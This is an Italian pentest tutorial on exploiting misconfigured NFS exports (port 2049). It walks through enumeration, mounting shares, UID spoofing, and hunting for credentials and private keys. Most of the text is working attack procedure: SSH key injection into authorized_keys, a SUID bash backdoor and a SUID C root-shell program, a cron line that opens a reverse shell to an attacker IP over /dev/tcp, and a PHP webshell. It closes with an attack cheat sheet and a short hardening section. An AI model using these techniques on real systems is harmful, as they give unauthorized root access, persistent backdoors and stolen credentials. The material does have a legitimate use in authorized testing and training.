Porta 2049 NFS: Pentest, no_root_squash e Lateral Movement

Porta 2049 NFS nel pentest: export enumeration, mount remoto, UID spoofing, no_root_squash, SSH key injection e privesc Linux.
- Pubblicato il 2026-04-12
- Tempo di lettura: 6 min
Executive Summary — NFS (Network File System) è un protocollo che permette ai sistemi Unix/Linux di condividere directory via rete come se fossero locali. Gira sulla porta TCP/UDP 2049 (nelle versioni moderne; NFSv3 e precedenti usavano anche le porte RPC dinamiche tramite portmapper sulla porta 111). Nel pentest, un export NFS mal configurato è uno dei path più rapidi verso root: se la share è montabile senza restrizioni e usa
no_root_squash, puoi iniettare una chiave SSH in/root/.ssh/authorized_keyso creare un SUID binary — root in 2 minuti. Anche senzano_root_squash, un export leggibile espone file di configurazione, credenziali, chiavi private e backup.
Cos’è showmount (NFS enumeration)
showmount -e target→ lista le directory condivise e chi può montarle- Se trovi
*o la tua subnet nelle restrizioni → puoi montare la share no_root_squash= root sulla tua macchina è root sulla share = compromissione totale
Cos’è NFS e Come Funziona #
NFS è il protocollo standard per la condivisione di file in ambienti Unix/Linux. Funziona così:
Server NFS Client NFS
┌──────────────┐ ┌──────────────┐
│ /home/ │ ── export ──► │ mount -t nfs │
│ /backup/ │ │ server:/home │
│ /var/www/ │ ◄── read/write ── │ /mnt/nfs │
└──────────────┘ └──────────────┘Il server decide cosa condividere nel file /etc/exports. Il client monta la directory remota come se fosse locale. Il problema: NFS si fida dell’UID/GID del client — non c’è autenticazione forte. Se il server dice “la directory è accessibile a chiunque” (*), chiunque sulla rete può montarla.
Versioni NFS #
| Versione | Porta | Autenticazione | Note |
|---|---|---|---|
| NFSv2 | 2049 + RPC dinamiche | UID/GID | Vecchio, insicuro |
| NFSv3 | 2049 + RPC dinamiche | UID/GID | Ancora molto diffuso |
| NFSv4 | Solo 2049 | Kerberos opzionale | Moderno ma spesso configurato senza Kerberos |
NFSv2/v3 dipendono da portmapper (porta 111) per le porte RPC. NFSv4 usa solo la 2049.
1. Enumerazione #
Nmap #
nmap -sV -p 111,2049 --script=nfs-ls,nfs-showmount,nfs-statfs 10.10.10.40PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs 3-4 (RPC #100003)
| nfs-showmount:
| /home *
| /backup 10.10.10.0/24
| /var/www *
|_
| nfs-ls: Volume /home
| access uid gid size time filename
| rwxr-x 1001 1001 4096 2026-01-15T10:00 j.smith
| rwxr-x 1002 1002 4096 2026-01-14T09:30 admin
| rwxr-x 1003 1003 4096 2026-01-10T08:00 svc_backupLettura: tre export. /home e /var/www accessibili a * (chiunque). /backup solo alla subnet 10.10.10.0/24. Se sei nella subnet, le monti tutte.
showmount #
showmount -e 10.10.10.40Export list for 10.10.10.40:
/home *
/backup 10.10.10.0/24
/var/www *rpcinfo #
rpcinfo -p 10.10.10.40 program vers proto port service
100000 4 tcp 111 portmapper
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100005 3 tcp 20048 mountd
100021 4 tcp 42345 nlockmgrmountd sulla 20048 — il servizio che gestisce le richieste di mount. nlockmgr gestisce i lock sui file.
2. Mount della Share #
Mount base #
# Crea il punto di mount
mkdir -p /tmp/nfs_home
# Monta la share
mount -t nfs 10.10.10.40:/home /tmp/nfs_home# Se NFSv3:
mount -t nfs -o vers=3 10.10.10.40:/home /tmp/nfs_home
# Se NFSv4:
mount -t nfs4 10.10.10.40:/home /tmp/nfs_home
# Se la share richiede no-lock (comune su NFS vecchi):
mount -t nfs -o nolock 10.10.10.40:/home /tmp/nfs_homeEsplora il contenuto #
ls -la /tmp/nfs_home/drwxr-xr-x 4 1001 1001 4096 Jan 15 10:00 j.smith
drwxr-x--- 3 1002 1002 4096 Jan 14 17:45 admin
drwxr-xr-x 2 1003 1003 4096 Jan 10 09:00 svc_backupNota: vedi UID numerici (1001, 1002, 1003) invece dei nomi perché gli utenti non esistono sulla tua macchina. La directory admin ha permessi --- per others — non puoi leggerla con il tuo utente. Ma con UID spoofing sì.
Cosa cercare subito #
# Chiavi SSH
find /tmp/nfs_home -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null# File di configurazione con credenziali
find /tmp/nfs_home -name "*.conf" -o -name "*.env" -o -name "*.cnf" -o -name "*.yml" -o -name "*.ini" 2>/dev/null# History con password
find /tmp/nfs_home -name ".bash_history" -exec cat {} \; 2>/dev/null | grep -iE "pass|mysql|ssh|sudo|curl.*auth"# File interessanti
find /tmp/nfs_home -name "*.bak" -o -name "*.sql" -o -name "*.dump" -o -name "*.zip" -o -name "*.tar.gz" 2>/dev/nullSe trovi chiavi SSH private → login diretto via SSH. Se trovi credenziali DB → test su MySQL / MSSQL. Se trovi password in .bash_history → testa ovunque (SSH, SMB, web login).
Mount della share /var/www #
mkdir -p /tmp/nfs_www
mount -t nfs 10.10.10.40:/var/www /tmp/nfs_www# Credenziali web application
cat /tmp/nfs_www/html/wp-config.php 2>/dev/null
cat /tmp/nfs_www/html/.env 2>/dev/null
cat /tmp/nfs_www/html/config.php 2>/dev/nulldefine('DB_USER', 'wp_user');
define('DB_PASSWORD', 'WpDbP@ss2025!');
define('DB_HOST', 'localhost');3. UID Spoofing — Leggere File di Qualsiasi Utente #
NFS non autentica l’utente — si fida dell’UID. Se la directory di admin (UID 1002) è leggibile solo da UID 1002, basta creare un utente locale con UID 1002.
Tecnica #
# La directory admin ha permessi rwxr-x--- (owner: 1002)
ls -la /tmp/nfs_home/admin
# drwxr-x--- 3 1002 1002 4096 Jan 14 17:45 admin
# → Permission denied con il tuo utente
# Crea un utente locale con UID 1002
useradd -u 1002 fakeadmin
# Cambia utente
su fakeadmin
# Ora puoi leggere la directory
ls -la /tmp/nfs_home/admin/-rw------- 1 1002 1002 1675 Jan 14 10:00 .ssh/id_rsa
-rw-r--r-- 1 1002 1002 400 Jan 14 10:00 .ssh/authorized_keys
-rw------- 1 1002 1002 5234 Jan 14 17:45 .bash_history
-rw-r--r-- 1 1002 1002 234 Jan 10 09:00 notes.txt# Leggi la chiave SSH privata
cat /tmp/nfs_home/admin/.ssh/id_rsa-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtz
...
-----END OPENSSH PRIVATE KEY-----# Connettiti al target
chmod 600 /tmp/admin_key
ssh -i /tmp/admin_key admin@10.10.10.40Automatizzare per tutti gli UID #
# Crea utenti per tutti gli UID trovati
for uid in 1001 1002 1003; do
useradd -u $uid user_$uid 2>/dev/null
echo "=== UID $uid ==="
su user_$uid -c "find /tmp/nfs_home -user $uid -readable -type f 2>/dev/null"
done4. no_root_squash — Root Diretto #
Cos’è root_squash #
Di default, NFS rimappa l’UID 0 (root) del client all’UID nobody (65534) sul server. Questo si chiama root_squash — impedisce che root sul client sia root sui file del server.
no_root_squash disabilita questa protezione: root sul client = root sui file del server.
Verifica #
Non puoi vedere no_root_squash da remoto con showmount. Devi montare la share e testare:
# Monta come root
mount -t nfs 10.10.10.40:/home /tmp/nfs_home
# Testa scrittura come root
touch /tmp/nfs_home/test_root_file
ls -la /tmp/nfs_home/test_root_fileSe il file è di proprietà root:root → no_root_squash è attivo.
Se il file è di proprietà nobody:nogroup → root_squash è attivo (default).
# Pulizia
rm /tmp/nfs_home/test_root_fileExploitation: SSH Key Injection #
# Crea directory SSH per root se non esiste
mkdir -p /tmp/nfs_home/../root/.ssh 2>/dev/null
# Se /home è l'export e root ha la home in /root (tipicamente fuori da /home),
# questa tecnica funziona se l'export è "/" o "/root"
# Se l'export include la home di un utente:
mkdir -p /tmp/nfs_home/j.smith/.ssh
# Genera chiave SSH
ssh-keygen -t rsa -f /tmp/nfs_key -N ""
# Inietta la chiave pubblica
cat /tmp/nfs_key.pub >> /tmp/nfs_home/j.smith/.ssh/authorized_keys
chmod 700 /tmp/nfs_home/j.smith/.ssh
chmod 600 /tmp/nfs_home/j.smith/.ssh/authorized_keys
# Imposta owner corretto (UID di j.smith)
chown -R 1001:1001 /tmp/nfs_home/j.smith/.ssh
# Connettiti
ssh -i /tmp/nfs_key j.smith@10.10.10.40Exploitation: SUID Backdoor (la tecnica più potente) #
Con no_root_squash, puoi creare un SUID binary sulla share — quando viene eseguito sul server, gira come root.
# Sulla tua macchina: copia bash sulla share
cp /bin/bash /tmp/nfs_home/suid_bash
# Imposta SUID e owner root
chown root:root /tmp/nfs_home/suid_bash
chmod 4755 /tmp/nfs_home/suid_bash# Verifica
ls -la /tmp/nfs_home/suid_bash
# -rwsr-xr-x 1 root root 1234567 Jan 15 12:00 suid_bash# Sul target (dopo SSH come j.smith o qualsiasi utente):
/home/suid_bash -psuid_bash-5.0# id
uid=1001(j.smith) gid=1001(j.smith) euid=0(root)
# euid=0 → root effettivoIl flag -p è fondamentale: senza -p, bash droppa i privilegi SUID. Con -p li mantiene.
Alternativa — SUID C binary:
// shell.c — più affidabile di bash SUID
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}gcc -o /tmp/nfs_home/rootshell shell.c
chown root:root /tmp/nfs_home/rootshell
chmod 4755 /tmp/nfs_home/rootshellSul target:
/home/rootshell
# root@target:#Per la tecnica completa della SUID exploitation: linux privilege escalation.
Exploitation: Cron Backdoor #
Se l’export include /etc o una directory con script cron:
# Scrivi uno script cron
echo '* * * * * root bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' >> /tmp/nfs_etc/crontabExploitation: Webshell via /var/www #
Se /var/www è esportato con no_root_squash:
echo '<?php system($_GET["c"]); ?>' > /tmp/nfs_www/html/cmd.phpcurl "http://10.10.10.40/cmd.php?c=id"RCE come www-data. Poi privesc.
5. NFS nella Privilege Escalation Locale #
Se sei già sul server e trovi NFS configurato:
cat /etc/exports/home *(rw,no_root_squash)
/backup 10.10.10.0/24(rw,sync)
/var/www *(rw,sync)no_root_squash sulla share /home → dalla tua macchina esterna, monta e piazza il SUID. Sul target, esegui → root.
Questo è uno dei check standard nella linux enumeration.
6. Detection & Hardening #
Blue Team — Cosa monitorare #
- Mount da IP non autorizzati (log NFS/mountd)
- File con SUID creati su share NFS
- Modifiche a authorized_keys via NFS
- Access da UID 0 su share con root_squash (anomalia)Hardening #
# /etc/exports sicuro:
/home 10.10.10.50(rw,root_squash,sync) ← solo 1 IP, root_squash
/backup 10.10.10.0/24(ro,root_squash) ← read-only per backup
# MAI usare:
/home *(rw,no_root_squash) ← chiunque, root = root- Restringi gli IP/subnet che possono montare
- Usa
root_squashsempre (è il default ma verifica) - Export read-only dove possibile (
ro) - NFSv4 con autenticazione Kerberos
- Firewall sulla porta 2049
7. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Lista export | showmount -e target |
| Nmap NFS | nmap -sV -p 2049 --script=nfs-* target |
| Mount NFSv3 | mount -t nfs -o vers=3,nolock target:/share /mnt |
| Mount NFSv4 | mount -t nfs4 target:/share /mnt |
| UID spoof | useradd -u UID fakeuser; su fakeuser |
| Test no_root_squash | touch /mnt/test; ls -la /mnt/test (root owner = no_squash) |
| SUID backdoor | cp /bin/bash /mnt/suid; chown root; chmod 4755 |
| SSH key inject | cat key.pub >> /mnt/user/.ssh/authorized_keys |
| Cerca credenziali | grep -riE "password|secret" /mnt/ |
| Cerca SSH keys | find /mnt -name "id_rsa" |
| Verifica exports (locale) | cat /etc/exports |
Riferimento: NFSv4 RFC 7530, HackTricks NFS, OSCP methodology. Uso esclusivo in ambienti autorizzati. https://www.verylazytech.com/nfs-service-port-2049







